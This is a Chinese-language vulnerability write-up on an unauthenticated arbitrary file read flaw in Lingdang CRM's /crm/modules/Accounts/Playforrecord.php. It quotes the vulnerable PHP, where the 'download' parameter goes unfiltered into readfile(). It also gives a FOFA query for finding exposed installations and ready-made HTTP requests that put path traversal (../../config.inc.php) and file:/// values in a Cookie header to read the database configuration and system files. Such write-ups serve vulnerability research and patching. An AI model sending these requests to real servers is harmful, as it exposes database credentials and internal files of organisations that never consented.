漏洞简介
灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。是一款功能全面、用户友好、支持定制化、数据分析强大且价格合理的CRM软件,是中小型企业实现销售、服务、财务一体化管理的理想选择。灵当CRM /crm/modules/Accounts/Playforrecord.php 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
影响版本
fofa语法
body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
漏洞分析
直接看 /crm/modules/Accounts/Playforrecord.php 的业务实现逻辑如下
<?php
if(!empty($_REQUEST['download'])){
downfile2($_REQUEST['download']);
}else{
global $adb;
global $current_user;
$newfolder='';
$languageType= getLanguageType($current_user);
$smarty = new lingdangCRM_Smarty;
$smarty->display("Playforrecord.tpl");
}
function downfile2($fileurl)
{
ob_start();
$filename=$fileurl;
$date=date("Ymd-H:i:m");
header( "Content-type: application/octet-stream ");
header( "Accept-Ranges: bytes ");
header( "Content-Disposition: attachment; filename= {$date}.wav");
$size=readfile($filename);
header( "Accept-Length: " .$size);
}
将 download 参数的值无任何过滤和校验就带入 downfile2 方法中,而其直接使用 readfile 方法进行文件操作,因此直接跟文件路径或者利用PHP伪协议 file:/// 读取系统任意文件,造成任意文件读取漏洞。因其使用 $_REQUEST 进行获取参数,因此支持 GET POST COOKIE三种方式传参,需要注意。
漏洞复现
漏洞利用-读取数据库配置信息
GET /crm/modules/Accounts/Playforrecord.php HTTP/1.1
Host: 51mis.mrxn.net
Cookie: download=../../config.inc.php
或者 读取系统其他位置文件,如 c:/windows/win.ini
GET /crm/modules/Accounts/Playforrecord.php HTTP/1.1
Host: 51mis.mrxn.net
Cookie: download=file:///c:/windows/win.ini



